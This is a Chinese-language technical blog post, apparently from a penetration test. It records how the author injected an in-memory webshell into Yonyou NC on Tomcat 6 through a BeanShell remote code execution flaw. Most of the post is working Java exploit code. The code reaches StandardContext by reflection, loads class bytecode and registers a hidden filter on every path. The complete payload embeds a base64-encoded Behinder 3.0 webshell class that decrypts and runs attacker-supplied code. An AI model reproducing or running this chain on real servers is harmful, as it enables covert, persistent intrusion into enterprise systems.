背景
项目遇到用友NC只存在BeanShell远程代码执行漏洞,写入jsp访问404,尝试通过BeanShell注入内存马,本篇文章主要记录过程中遇到的一些问题。
request对象
通过java-object-searcher获取request对象后,发现Tomcat6无法通过request对象获取StandardContext,仅能获取Header。
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.tomcat.util.buf.ByteChunk;
import java.lang.reflect.Field;
import java.util.ArrayList;
try {
Object obj = Thread.currentThread();
Field field = obj.getClass().getSuperclass().getDeclaredField("group");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("threads");
field.setAccessible(true);
obj = field.get(obj);
Thread[] threads = (Thread[]) obj;
for (Thread thread : threads) {
if (thread.getName().contains("http") && thread.getName().contains("Acceptor")) {
try {
field = thread.getClass().getDeclaredField("target");
field.setAccessible(true);
obj = field.get(thread);
field = obj.getClass().getDeclaredField("this$0");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("handler");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getSuperclass().getDeclaredField("global");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("processors");
field.setAccessible(true);
obj = field.get(obj);
java.util.ArrayList processors = (java.util.ArrayList) obj;
for (Object o : processors) {
try {
field = o.getClass().getDeclaredField("req");
field.setAccessible(true);
obj = field.get(o);
org.apache.coyote.Request request = (org.apache.coyote.Request) obj;
org.apache.coyote.Response resp = request.getResponse();
}catch (Exception e){
e.printStackTrace();
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
}catch (Exception e){
e.printStackTrace();
}
StandardContext
查阅发现bitterz师傅的文章提供了Tomcat全版本获取StandardContext的思路。
tomcat678 currentThread -> threadGroup -> for(threads) ->target
->this$0->handler->proto->adapter->connector->service->container
->children(一个HashMap,get获取standardHost)->standardHost->children(一个HashMap,get获取standardContext)
测试发现文中代码从HashMap中获取standardHost时,key键为localhost,通过serverName获取会导致远程访问时出现空指针,bitterz师傅也曾在评论区留言提供解决思路。
通过以下修改将通过serverName获取修改为遍历StandardHost。
Iterator iterator2 = children.keySet().iterator();
while (iterator2.hasNext()) {
StandardHost standardHost = (StandardHost) children.get(iterator2.next());
field = standardHost.getClass().getSuperclass().getDeclaredField("children");
field.setAccessible(true);
children = (HashMap) field.get(standardHost);
Iterator iterator3 = children.keySet().iterator();
while (iterator3.hasNext()){
String contextKey = (String) iterator3.next();
if (!(uri.startsWith(contextKey))){continue;}
StandardContext standardContext = (StandardContext) children.get(contextKey);
}
}
获取StandardContext后尝试注入Filter,在通过defineClass加载字节码时,发现由于用友NC自带jdk为1.7.0_51,没有java.util.Base64类,需要使用sun.misc.BASE64Decoder进行Base64解码。
ClassLoader clzLoader = Thread.currentThread().getContextClassLoader();
String clzBytecodeBase64Str = "";
byte[] bytecode = null;
try {
Class base64 = clzLoader.loadClass("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
bytecode = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, clzBytecodeBase64Str);
} catch (Exception e) {
}
此时发现代码不能执行,一直抛出异常。调试发现BeanShell对于反射通过bsh.Reflect进行处理,可变参数必须按照参数类型传参,修改为如下代码。
ClassLoader clzLoader = Thread.currentThread().getContextClassLoader();
String clzBytecodeBase64Str = "";
byte[] bytecode = null;
try {
Class base64 = clzLoader.loadClass("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
bytecode = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{clzBytecodeBase64Str});
} catch (Exception e) {
}
注入filter
注入filter流程: 通过defineClass加载恶意filter类后,使用filterDef封装filter对象,调用StandardContext的addFilterDef存到FilterDefs,创建filterMap对象后调用StandardContext的addFilterMap存到FilterMaps,使用ApplicationFilterConfig封装filterDef存到filterConfigs。
java.lang.reflect.Method defineClzMethod = clzLoader.loadClass("java.lang.ClassLoader").getDeclaredMethod("defineClass", new Class[]{String.class, byte[].class, int.class, int.class});
defineClzMethod.setAccessible(true);
Class filterClass = (Class) defineClzMethod.invoke((Object) clzLoader, new Object[]{null, bytecode, 0, bytecode.length});
Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").getConstructor(new Class[]{}).newInstance(new Object[]{});
java.lang.reflect.Method setFilterName = filterDef.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class});
setFilterName.invoke(filterDef, new Object[]{"TestFilter"});
java.lang.reflect.Method setFilterClass = filterDef.getClass().getDeclaredMethod("setFilterClass", new Class[]{String.class});
setFilterClass.invoke(filterDef, new Object[]{filterClass.getName()});
java.lang.reflect.Method addFilterDef = standardContext.getClass().getDeclaredMethod("addFilterDef", new Class[]{org.apache.catalina.deploy.FilterDef.class});
addFilterDef.invoke(standardContext, new Object[]{filterDef});
Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").getConstructor(new Class[]{}).newInstance(new Object[]{});
java.lang.reflect.Method setFilterName2 = filterMap.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class});
setFilterName2.invoke(filterMap, new Object[]{"TestFilter"});
java.lang.reflect.Method setDispatcher = filterMap.getClass().getDeclaredMethod("setDispatcher", new Class[]{String.class});
java.lang.reflect.Method addURLPattern = filterMap.getClass().getDeclaredMethod("addURLPattern", new Class[]{String.class});
setDispatcher.invoke(filterMap, new Object[]{"REQUEST"});
addURLPattern.invoke(filterMap, new Object[]{"/*"});
java.lang.reflect.Method addFilterMap = standardContext.getClass().getDeclaredMethod("addFilterMap", new Class[]{org.apache.catalina.deploy.FilterMap.class});
addFilterMap.invoke(standardContext, new Object[]{filterMap});
java.lang.reflect.Constructor filterConfigConstructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructor(new Class[]{Class.forName("org.apache.catalina.Context"), Class.forName("org.apache.catalina.deploy.FilterDef")});
filterConfigConstructor.setAccessible(true);
Object filterConfig = filterConfigConstructor.newInstance(new Object[]{standardContext, filterDef});
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
HashMap filterConfigsMap = (HashMap) filterConfigsField.get(standardContext);
filterConfigsMap.put("TestFilter", filterConfig);
完整代码
冰蝎3.0 rebeyond
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardEngine;
import org.apache.catalina.core.StandardHost;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Iterator;
try {
Object object;
String serverName;
Object obj = Thread.currentThread();
Field field = obj.getClass().getSuperclass().getDeclaredField("group");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("threads");
field.setAccessible(true);
obj = field.get(obj);
Thread[] threads = (Thread[]) obj;
for (Thread thread : threads) {
if (thread.getName().contains("exec") || thread == null) {
continue;
}
try {
field = thread.getClass().getDeclaredField("target");
field.setAccessible(true);
Object target = field.get(thread);
if (!(target instanceof Runnable)) {
continue;
}
try {
field = target.getClass().getDeclaredField("this$0");
field.setAccessible(true);
Object point = field.get(target);
field = point.getClass().getDeclaredField("handler");
field.setAccessible(true);
Object handler = field.get(point);
field = handler.getClass().getSuperclass().getDeclaredField("global");
field.setAccessible(true);
object = field.get(handler);
} catch (Exception e) {
continue;
}
if (object == null) {
continue;
}
field = object.getClass().getDeclaredField("processors");
field.setAccessible(true);
Object obj2 = field.get(object);
java.util.ArrayList processors = (java.util.ArrayList) obj2;
Iterator iterator = processors.iterator();
while (iterator.hasNext()) {
Object next = iterator.next();
field = next.getClass().getDeclaredField("req");
field.setAccessible(true);
Object req = field.get(next);
field = req.getClass().getDeclaredField("serverPort");
field.setAccessible(true);
Object serverPort = field.get(req);
if (serverPort.equals(-1)) {
continue;
}
field = req.getClass().getDeclaredField("serverNameMB");
field.setAccessible(true);
org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) field.get(req);
field = serverNameMB.getClass().getDeclaredField("strValue");
field.setAccessible(true);
serverName = (String) field.get(serverNameMB);
if (serverName == null) {
serverName = serverNameMB.toString();
}
if (serverName == null) {
serverName = serverNameMB.getString();
}
field = req.getClass().getDeclaredField("decodedUriMB");
field.setAccessible(true);
org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) field.get(req);
field = uriMB.getClass().getDeclaredField("strValue");
field.setAccessible(true);
String uri = (String) field.get(uriMB);
if (uri == null) {
uri = uriMB.toString();
}
if (uri == null) {
uri = uriMB.getString();
}
Thread[] threads2 = (Thread[]) obj;
for (Thread thread2 : threads2) {
if (thread2.getName().contains("http") && thread2.getName().contains("Acceptor")) {
try {
field = thread2.getClass().getDeclaredField("target");
field.setAccessible(true);
obj = field.get(thread2);
try {
field = obj.getClass().getDeclaredField("this$0");
field.setAccessible(true);
Object point = field.get(obj);
if (point == null) {
try {
field = obj.getClass().getDeclaredField("endpoint");
field.setAccessible(true);
obj = field.get(obj);
point = obj;
} catch (Exception e) {
}
}
field = point.getClass().getDeclaredField("handler");
field.setAccessible(true);
Object handler = field.get(point);
field = handler.getClass().getDeclaredField("proto");
field.setAccessible(true);
Object proto = field.get(handler);
Field f = proto.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredField("adapter");
f.setAccessible(true);
Object adapter = f.get(proto);
field = adapter.getClass().getDeclaredField("connector");
field.setAccessible(true);
Object connector = field.get(adapter);
field = connector.getClass().getDeclaredField("service");
field.setAccessible(true);
Object service = field.get(connector);
StandardEngine engine = null;
try {
field = service.getClass().getDeclaredField("container");
field.setAccessible(true);
engine = (StandardEngine) field.get(service);
} catch (Exception e) {
}
if (engine == null) {
field = service.getClass().getDeclaredField("engine");
field.setAccessible(true);
engine = (StandardEngine) field.get(service);
}
field = engine.getClass().getSuperclass().getDeclaredField("children");
field.setAccessible(true);
HashMap children = (HashMap) field.get(engine);
Iterator iterator2 = children.keySet().iterator();
while (iterator2.hasNext()) {
StandardHost standardHost = (StandardHost) children.get(iterator2.next());
field = standardHost.getClass().getSuperclass().getDeclaredField("children");
field.setAccessible(true);
children = (HashMap) field.get(standardHost);
Iterator iterator3 = children.keySet().iterator();
while (iterator3.hasNext()) {
String contextKey = (String) iterator3.next();
if (!(uri.startsWith(contextKey))) {
continue;
}
StandardContext standardContext = (StandardContext) children.get(contextKey);
standardContext = standardContext;
ClassLoader clzLoader = Thread.currentThread().getContextClassLoader();
String clzBytecodeBase64Str = "yv66vgAAADMAugoAJABYCABZCQArAFoHAFsKAAQAWAcAXAsABgBdCABeCgAEAF8IAGAIADsIAGELAGIAYwgAZAoAZQBmBwBnCgBoAGkKABAAagoAZQBrCABsCgAXAG0IAG4HAG8HAEIJAHAAcQoAFwByCgBzAHQHAHUKABwAWAsAdgB3CgB4AHkKABwAegoAZQB7CgAkAHwKABcAfQcAfgoAcAB/CgBzAIAKABcAgQoAJACCBwCDCwCEAIUHAIYHAIcBAAFrAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA1MVGVzdEZpbHRlcjI7AQAHZGVzdHJveQEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEAC3BhZ2VDb250ZXh0AQATTGphdmEvdXRpbC9IYXNoTWFwOwEAB3Nlc3Npb24BACBMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEAAWMBABVMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAZtZXRob2QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEADmV2aWxjbGFzc19ieXRlAQACW0IBAAlldmlsY2xhc3MBABFMamF2YS9sYW5nL0NsYXNzOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAANyZXEBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAARyZXNwAQAfTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEABWNoYWluAQAbTGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47AQANU3RhY2tNYXBUYWJsZQcAgwEACkV4Y2VwdGlvbnMHAIgHAIkBAARpbml0AQAfKExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzspVgEABmNvbmZpZwEAHExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzsBAApTb3VyY2VGaWxlAQAQVGVzdEZpbHRlcjIuamF2YQwALwAwAQAQZTQ1ZTMyOWZlYjVkOTI1YgwALQAuAQARamF2YS91dGlsL0hhc2hNYXABACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0DACKAIsBAAdyZXF1ZXN0DACMAI0BAAhyZXNwb25zZQEAAXUHAI4MAI8AkAEAA0FFUwcAkQwAkgCTAQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwcAlAwAlQCWDAAvAJcMAFIAmAEAFWphdmEubGFuZy5DbGFzc0xvYWRlcgwAmQCaAQALZGVmaW5lQ2xhc3MBAA9qYXZhL2xhbmcvQ2xhc3MHAJsMAJwARAwAnQCeBwCfDACgAKEBABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyBwCiDACjAKQHAKUMAKYApwwAqACpDACqAKsMAKwArQwArgCvAQAQamF2YS9sYW5nL09iamVjdAwAsACxDACyALMMALQAtQwAtgC3AQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAuAwANwC5AQALVGVzdEZpbHRlcjIBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEAHmphdmF4L3NlcnZsZXQvU2VydmxldEV4Y2VwdGlvbgEAE2phdmEvaW8vSU9FeGNlcHRpb24BAApnZXRTZXNzaW9uAQAiKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAIcHV0VmFsdWUBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9PYmplY3Q7KVYBABNqYXZheC9jcnlwdG8vQ2lwaGVyAQALZ2V0SW5zdGFuY2UBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEAEGphdmEvbGFuZy9TdHJpbmcBAAhnZXRCeXRlcwEABCgpW0IBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEAFyhJTGphdmEvc2VjdXJpdHkvS2V5OylWAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAAlnZXRSZWFkZXIBABooKUxqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RvRmluYWwBAAYoW0IpW0IBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgAhACsAJAABACwAAQAAAC0ALgAAAAQAAQAvADAAAQAxAAAAPQACAAEAAAALKrcAASoSArUAA7EAAAACADIAAAAOAAMAAAANAAQACwAKAA8AMwAAAAwAAQAAAAsANAA1AAAAAQA2ADAAAQAxAAAAKwAAAAEAAAABsQAAAAIAMgAAAAYAAQAAABIAMwAAAAwAAQAAAAEANAA1AAAAAQA3ADgAAgAxAAAB0gAGAAsAAADfuwAEWbcABToEK8AABrkABwEAOgUZBBIIK7YACVcZBBIKLLYACVcZBBILGQW2AAlXEgI6BhkFEgwZBrkADQMAEg64AA86BxkHBbsAEFkZBrYAERIOtwAStgATEhS4ABUSFga9ABdZAxMAGFNZBLIAGVNZBbIAGVO2ABo6CBkIBLYAGxkHuwAcWbcAHSu5AB4BALYAH7YAILYAIToJGQgqtgAitgAjBr0AJFkDGQlTWQQDuAAlU1kFGQm+uAAlU7YAJsAAFzoKGQq2ACcZBLYAKFenAAU6BC0rLLkAKgMAsQABAAAA0QDUACkAAwAyAAAASgASAAAAFwAJABgAFAAaAB0AGwAmABwAMAAdADQAHgA/AB8ARgAgAFoAIQB8ACIAggAjAJwAJADGACUA0QAoANQAJwDWACkA3gAqADMAAAB6AAwACQDIADkAOgAEABQAvQA7ADwABQA0AJ0ALQAuAAYARgCLAD0APgAHAHwAVQA/AEAACACcADUAQQBCAAkAxgALAEMARAAKANYAAABFAEYABAAAAN8ANAA1AAAAAADfAEcASAABAAAA3wBJAEoAAgAAAN8ASwBMAAMATQAAAAkAAvcA1AcATgEATwAAAAYAAgBQAFEAAQBSAFMAAgAxAAAANQAAAAIAAAABsQAAAAIAMgAAAAYAAQAAAC4AMwAAABYAAgAAAAEANAA1AAAAAAABAFQAVQABAE8AAAAEAAEAUAABAFYAAAACAFc=";
byte[] bytecode = null;
try {
Class base64Clz = clzLoader.loadClass("sun.misc.BASE64Decoder");
Object decoder = base64Clz.newInstance();
bytecode = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{clzBytecodeBase64Str});
String result = new String(bytecode);
} catch (Exception e) {
}
java.lang.reflect.Method defineClzMethod = clzLoader.loadClass("java.lang.ClassLoader").getDeclaredMethod("defineClass", new Class[]{String.class, byte[].class, int.class, int.class});
defineClzMethod.setAccessible(true);
Class filterClass = (Class) defineClzMethod.invoke((Object) clzLoader, new Object[]{null, bytecode, 0, bytecode.length});
Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").getConstructor(new Class[]{}).newInstance(new Object[]{});
java.lang.reflect.Method setFilterName = filterDef.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class});
setFilterName.invoke(filterDef, new Object[]{"TestFilter"});
java.lang.reflect.Method setFilterClass = filterDef.getClass().getDeclaredMethod("setFilterClass", new Class[]{String.class});
setFilterClass.invoke(filterDef, new Object[]{filterClass.getName()});
java.lang.reflect.Method addFilterDef = standardContext.getClass().getDeclaredMethod("addFilterDef", new Class[]{org.apache.catalina.deploy.FilterDef.class});
addFilterDef.invoke(standardContext, new Object[]{filterDef});
Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").getConstructor(new Class[]{}).newInstance(new Object[]{});
java.lang.reflect.Method setFilterName2 = filterMap.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class});
setFilterName2.invoke(filterMap, new Object[]{"TestFilter"});
java.lang.reflect.Method setDispatcher = filterMap.getClass().getDeclaredMethod("setDispatcher", new Class[]{String.class});
java.lang.reflect.Method addURLPattern = filterMap.getClass().getDeclaredMethod("addURLPattern", new Class[]{String.class});
setDispatcher.invoke(filterMap, new Object[]{"REQUEST"});
addURLPattern.invoke(filterMap, new Object[]{"/*"});
java.lang.reflect.Method addFilterMap = standardContext.getClass().getDeclaredMethod("addFilterMap", new Class[]{org.apache.catalina.deploy.FilterMap.class});
addFilterMap.invoke(standardContext, new Object[]{filterMap});
java.lang.reflect.Constructor filterConfigConstructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructor(new Class[]{Class.forName("org.apache.catalina.Context"), Class.forName("org.apache.catalina.deploy.FilterDef")});
filterConfigConstructor.setAccessible(true);
Object filterConfig = filterConfigConstructor.newInstance(new Object[]{standardContext, filterDef});
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
HashMap filterConfigsMap = (HashMap) filterConfigsField.get(standardContext);
filterConfigsMap.put("TestFilter", filterConfig);
}
}
} catch (Exception e) {}
} catch (Exception e) {}
}
}
}
} catch (Exception e) {continue;}
}
} catch (Exception e) {}
```
参考链接
https://xz.aliyun.com/t/9914 https://github.com/c0ny1/java-object-searcher